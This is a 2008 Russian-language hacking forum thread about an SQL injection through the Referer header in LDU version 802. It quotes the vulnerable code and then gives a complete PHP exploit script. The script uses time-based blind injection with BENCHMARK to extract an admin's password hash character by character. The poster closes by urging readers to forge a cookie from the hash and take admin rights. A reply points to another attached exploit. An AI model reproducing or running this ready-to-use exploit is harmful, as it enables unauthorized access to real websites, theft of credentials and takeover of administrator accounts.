sql-injection LDU version 802

Discussion in 'Веб-уязвимости' started by (Dm), 21 Apr 2008.

  1. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    Копался в LDU, нашел sql injection в заголовке Referer.
    файл: system/common.php
    Code:
    	$sys['referer'] = substr(getenv('HTTP_REFERER'),0,255);
    	
    	if (@!eregi($cfg['mainurl'], $sys['referer']) && @!eregi($cfg['hostip'],$sys['referer']) && @!eregi(str_replace('www.','',$cfg['mainurl']), $sys['referer']) && !empty($sys['referer']))
    		{
    		
    		$sql = ldu_query("SELECT COUNT(*) FROM $db_referers WHERE ref_url = '".$sys['referer']."'");
    		$count = ldu_result($sql,0,"COUNT(*)");
    if ($count>0)
    			{ $sql = ldu_query("UPDATE $db_referers SET ref_count=ref_count+1, ref_date='".$sys['now_offset']."' WHERE ref_url='".$sys['referer']."'"); }
    	       else
    			{ $sql = ldu_query("INSERT INTO $db_referers (ref_url,ref_count,ref_date) VALUES ('".$sys['referer']."','1','".$sys['now_offset']."')"); }
    		}
    	}
    
    Инъекция без вывода результата, поэтому пришлось использовать ф-ию benchmark;

    Вот сплоит:
    ps задержка между запросами 10 сек, для того чтобы не нагружать mysql . Проверял вроде работает, правда долго ждать... )))

    Code:
    #!/usr/bin/php
    <?
    error_reporting(E_ALL);
    
    if ($argc < 3) { 
    	print ($argv[0]." <site> <path> [<id>] [<num>]\n");
    	
    	print ('
         _//             
         _//             
         _//_/// _// _// 
     _// _// _//  _/  _//
    _/   _// _//  _/  _//
    _/   _// _//  _/  _//
     _// _//_///  _/  _//
    ');
    	
    	print ('
    <site>  -  адрес сайта [ example.com ]
    <path>  -  путь [ / ]
    <id>    -  id пользователя [ 1 ]
    <num>   -  с какой позиции начать [ 1 ]
    Пример:
    	./getpass 127.0.0.1 /802/
    ');
    exit;
    }
    
    // Настройки
    define('debug', 0);
    define('benchmark', 5555555);
    define('start_chr', 48); 
    define('stop_chr', 90);
    define('delay', 10); // задержка в секундах между запросами
    define('timeout', 5); //На сколько секунд отличается обычный запрос от запроса с benchmark
    
    
    $cfg['queryCount'] = 0;
    $cfg['host'] = $argv[1];
    $cfg['path'] = $argv[2];
    $cfg['num']  = (int)@$argv[4];
    $cfg['uid']  = (int)@$argv[3];
    
    if ($cfg['num'] == 0)  $cfg['num'] = 1;
    if ($cfg['uid'] == 0)  $cfg['uid'] = 1;
    
    function get_microtime() { 
        list($usec, $sec) = explode(" ", microtime()); 
        return ((float)$usec + (float)$sec); 
    }
    
    function get_data($query) {
    	GLOBAL $cfg, $session_id;
    	
    	$buff = '';
    
    	$get = "GET http://".$cfg['host'].$cfg['path']."index.php HTTP/1.0\r\n";
    	$get.= "HOST: ".$cfg['host']."\r\n";
    	$get.= "Referer: ".$query."\r\n";
    	$get.= "Cookie: PHPSESSID=".$session_id."\r\n\r\n";
    
    	if (debug == 1) print ("\n".$get);
    	$fp = @fsockopen($cfg['host'], 80, $errno, $errstr, 20);
    	if (!$fp) {
    		die ("\nНе могу подключиться к серверу: ".$errstr."\n");
    	} else {
    		$cfg['queryCount'] += 1;
    		fputs($fp, $get);
    		while (!feof($fp)) {
    			$buff .= fgets($fp, 254);
    		}
    		fclose($fp);
    	}
    	unset($buff);
    }
    
    function check_request($id, $i, $z) {
    	GLOBAL $TimeOut, $cfg;
    	
    	$query = "' union select 1 from ldu_users where user_id=".$cfg['uid']." and if(char(".$id.")".$z."substring(user_password,".$i.",1),benchmark(".benchmark.",md5('beer')),1) #";
    
    	if (get_timeout($query) >= $TimeOut) {
    		return true;
    	}
    	return false;
    }
    
    function get_char($id, $i, $start, $stop, $z) {
    
    	sleep(delay);	
    
    	if (check_request($id, $i, $z)) {
    		if(($stop - $id) == 1) {
    			if (check_request($stop, $i,'=')) {
    				return $stop;
    			} else {
    				return $id;
    			}
    		} else {
    			$curid = $id + (int)(($stop - $id) / 2);
    			return get_char($curid, $i, $id, $stop, '<');
    		}
    	} else {
    		if (($id - $start) == 1) {
    			if (check_request($start, $i,'=')) {
    				return $start;
    			} else {
    				return $id;
    			}
    		} else {
    			$curid = $id - (int)(($id - $start) / 2);
    			return get_char($curid, $i, $start, $id, '<');
    			
    		}
    	}
    }
    
    function get_timeout($query) {
    	$start_time = get_microtime();
    	get_data($query);
    	$stop_time = get_microtime();
    	return ($stop_time - $start_time);
    }
    
    
    
    print ("\n- - - - - - - - - - - - - - - - - - - - - - - \n");
    print ("Путь: http://".$cfg['host'].$cfg['path']."index.php\n");
    print ("Задержка между запросами: ".delay." сек\n");
    print ("Коды получаемых символов: ".start_chr." - ".stop_chr."\n");
    print ("Аргумент фии benchmark: ".benchmark."\n");
    print ("- - - - - - - - - - - - - - - - - - - - - - - \n\n");
    
    /* Устанавливаем сессию */
    $session_id = md5(rand(1, 100).time());
    
    /* Проверка на возможность использоваие benchmark */
    print "Проверка на доступность benchmark и mysql >= 4.0\t";
    
    $query = "http://google.com";
    $QueryTimeOut = get_timeout($query);
    
    sleep(delay);
    
    $query = "' union select benchmark(".benchmark.",md5('beer')) #";
    $BenchTimeOut = get_timeout($query);
    
    $resTime = $BenchTimeOut - $QueryTimeOut;
    
    if ($resTime < timeout)
    	die("[ Bad ]\n");
    
    print ("[ Ok ]\n");
    
    $TimeOut = $QueryTimeOut + timeout - 1;
    print ('Таймаут: '.$TimeOut." сек\n");
    
    print ("[uid = ".$cfg['uid']."] md5 hash ~> ");
    /* ----------------------------------- */
    
    $curid = start_chr + (int)((stop_chr - start_chr) / 2);
    
    for ($i = $cfg['num']; $i <= 32; $i++) {
    	$r1 = get_char($curid, $i, start_chr, stop_chr, '<');
    	
    	if (!check_request($r1, $i, '='))
    		die("\nОшибка получения символа на позиции ".$i."\n");
    
    	print chr($r1);
    }
    
    print ("\nКоличество запросов: ".$cfg['queryCount']."\n");
    ?>
    
    После получения хеша, формируем cookie и наслождаемся админскими правами, если конечно нет фильтрации по ip... Тхе тхе o_O
     
    #1 (Dm), 21 Apr 2008
    Last edited: 21 Apr 2008
    5 people like this.
  2. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    Elekt-> more1row отлично работает. смысла в бенчмарке нет
    (Dm)-> а как же без бенчмарка...

    вот так делается без бенчмарка.
    (устаревший приват годовой давности, как пример тем кто хочет разобраться)
     

    Attached Files:

  3. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    Да спасиб разобрался, как-то я эт проглядел)))